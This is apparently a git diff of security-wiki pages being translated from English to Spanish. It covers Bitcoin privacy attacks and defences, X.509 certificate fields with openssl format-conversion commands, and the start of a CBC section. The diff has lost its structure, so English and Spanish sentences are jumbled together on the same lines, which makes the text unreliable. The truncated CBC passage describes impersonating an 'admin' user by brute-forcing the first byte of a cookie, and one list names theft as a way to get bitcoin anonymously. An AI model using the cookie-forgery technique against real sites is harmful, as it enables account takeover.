Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios.
## Acquiring Bitcoins Anonymously ## Adquiriendo Bitcoins de Manera Anónima
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad.
# Bitcoin Privacy Atacks # Ataques a la Privacidad de Bitcoin
# Summary of Bitcoin Privacy Attacks # Resumen de Ataques a la Privacidad de Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin.
## **Common Input Ownership Assumption** ## **Suposición de Propiedad de Entrada Común**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
## **UTXO Change Address Detection** ## **Detección de Dirección de Cambio UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
### Example ### Ejemplo
To mitigate this, mixing services or using multiple addresses can help obscure ownership. Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad.
## **Social Networks & Forums Exposure** ## **Exposición en Redes Sociales y Foros**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**.
## **Transaction Graph Analysis** ## **Análisis de Gráficos de Transacciones**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)** ## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente.
### Example
### Ejemplo
```bash ```bash
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
Si agregar más entradas hace que el cambio de salida sea mayor que cualquier entrada individual, puede confundir la heurística.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. ## **Reutilización Forzada de Direcciones**
## **Forced Address Reuse** Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones entre sí.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. ### Comportamiento Correcto de la Billetera
### Correct Wallet Behavior Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. ## **Otras Técnicas de Análisis de Blockchain**
## **Other Blockchain Analysis Techniques** - **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones propiedad del mismo usuario.
- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio.
- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. ## **Análisis de Tráfico**
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Traffic Analysis** Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. ## Más
## More Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). # Transacciones Anónimas de Bitcoin
# Anonymous Bitcoin Transactions ## Formas de Obtener Bitcoins Anónimamente
## Ways to Get Bitcoins Anonymously - **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo.
- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin.
- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de forma anónima, aunque es ilegal y no se recomienda.
- **Cash Transactions**: Acquiring bitcoin through cash. ## Servicios de Mezcla
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mixing Services Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin.
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
## CoinJoin ## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. **CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros.
## PayJoin ## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones.
```plaintext ```plaintext
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. **La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. # Mejores Prácticas para la Privacidad en Criptomonedas
# Best Practices for Privacy in Cryptocurrencies ## **Técnicas de Sincronización de Monederos**
## **Wallet Synchronization Techniques** Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: - **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario.
- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. ## **Utilizando Tor para la Anonimidad**
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizing Tor for Anonymity** Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. ## **Prevención de la Reutilización de Direcciones**
## **Preventing Address Reuse** Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. ## **Estrategias para la Privacidad de Transacciones**
## **Strategies for Transaction Privacy** - **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad.
- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios.
- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. # **Monero: Un Faro de Anonimato**
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: A Beacon of Anonymity** Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. # **Ethereum: Gas y Transacciones**
# **Ethereum: Gas and Transactions** ## **Entendiendo el Gas**
## **Understanding Gas** El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. ## **Ejecutando Transacciones**
## **Executing Transactions** Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. ## Referencias
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,47 +1,38 @@
# Certificates # Certificados
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure> ## Qué es un Certificado
\ Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) en una [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web_of_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## What is a Certificate ## Campos Comunes de x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. ### **Campos Comunes en Certificados x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
## x509 Common Fields - **Número de Versión** significa la versión del formato x509.
- **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
- El **Campo Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
- **Nombre Común (CN)**: Dominios cubiertos por el certificado.
- **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
- **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
- **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
- **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
- La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
- Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
### **Common Fields in x509 Certificates** #### **Uso de Clave y Extensiones**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como la firma digital o el cifrado de clave.
- **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para la autenticación de servidores TLS.
- **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
- Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de Autoridad** aseguran la unicidad y trazabilidad de las claves.
- **Acceso a Información de Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
- **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file) # Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file: with open("cert.pem", "rb") as file:
cert_data = file.read() cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields # Accessing fields
serial_number = certificate.serial_number serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Diferencia entre OCSP y Puntos de Distribución CRL**
### **Difference between OCSP and CRL Distribution Points** **OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRLs pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). ### **Qué es la Transparencia de Certificados**
### **What is Certificate Transparency** La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: - Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
- Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
- Proteger a los usuarios contra certificados fraudulentos.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. #### **Registros de Certificados**
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Certificate Logs** Los registros de certificados son registros auditables públicamente, de solo anexado, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Si bien el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. #### **Consulta**
#### **Query** Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre cómo convertir entre ellos.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. ## **Formatos**
## **Formats** ### **Formato PEM**
### **PEM Format** - Formato más utilizado para certificados.
- Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
- Extensiones comunes: .cer, .crt, .pem, .key.
- Utilizado principalmente por Apache y servidores similares.
- Most widely used format for certificates. ### **Formato DER**
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Format** - Un formato binario de certificados.
- Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
- Extensiones comunes: .cer, .der.
- A menudo utilizado con plataformas Java.
- A binary format of certificates. ### **Formato P7B/PKCS#7**
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Format** - Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
- Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
- Soportado por Microsoft Windows y Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c. ### **Formato PFX/P12/PKCS#12**
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Format** - Un formato binario que encapsula certificados de servidor, certificados intermedios y claves privadas en un solo archivo.
- Extensiones: .pfx, .p12.
- Principalmente utilizado en Windows para la importación y exportación de certificados.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. ### **Conversión de Formatos**
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Converting Formats** **Las conversiones PEM** son esenciales para la compatibilidad:
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
- **x509 a PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
- **PEM a DER**
- **PEM to DER**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
- **DER a PEM**
- **DER to PEM**
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
- **PEM a P7B**
- **PEM to P7B**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
- **PKCS7 a PEM**
- **PKCS7 to PEM**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Las conversiones de PFX** son cruciales para gestionar certificados en Windows:
**PFX conversions** are crucial for managing certificates on Windows: - **PFX a PEM**
- **PFX to PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
- **PFX a PKCS#8** implica dos pasos:
- **PFX to PKCS#8** involves two steps: 1. Convertir PFX a PEM
1. Convert PFX to PEM
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. Convertir PEM a PKCS8
2. Convert PEM to PKCS8
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
- **P7B a PFX** también requiere dos comandos:
- **P7B to PFX** also requires two commands: 1. Convertir P7B a CER
1. Convert P7B to CER
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. Convertir CER y clave privada a PFX
2. Convert CER and Private Key to PFX
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
- **Edición de ASN.1 (DER/PEM)** (funciona con certificados o casi cualquier otra estructura ASN.1):
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): 1. Clona [asn1template](https://github.com/wllm-rbnt/asn1template/)
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash ```bash
git clone https://github.com/wllm-rbnt/asn1template.git git clone https://github.com/wllm-rbnt/asn1template.git
``` ```
2. Convertir DER/PEM al formato de generación de OpenSSL
2. Convert DER/PEM to OpenSSL's generation format
```bash ```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
``` ```
3. Edita certificatename.tpl de acuerdo a tus requisitos
3. Edit certificatename.tpl according to your requirements
```bash ```bash
vim certificatename.tpl vim certificatename.tpl
``` ```
4. Reconstruir el certificado modificado
4. Rebuild the modified certificate
```bash ```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
``` ```
--- ---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC # CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas suplantar el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforce** el **primer byte** de la cookie.
# CBC-MAC # CBC-MAC
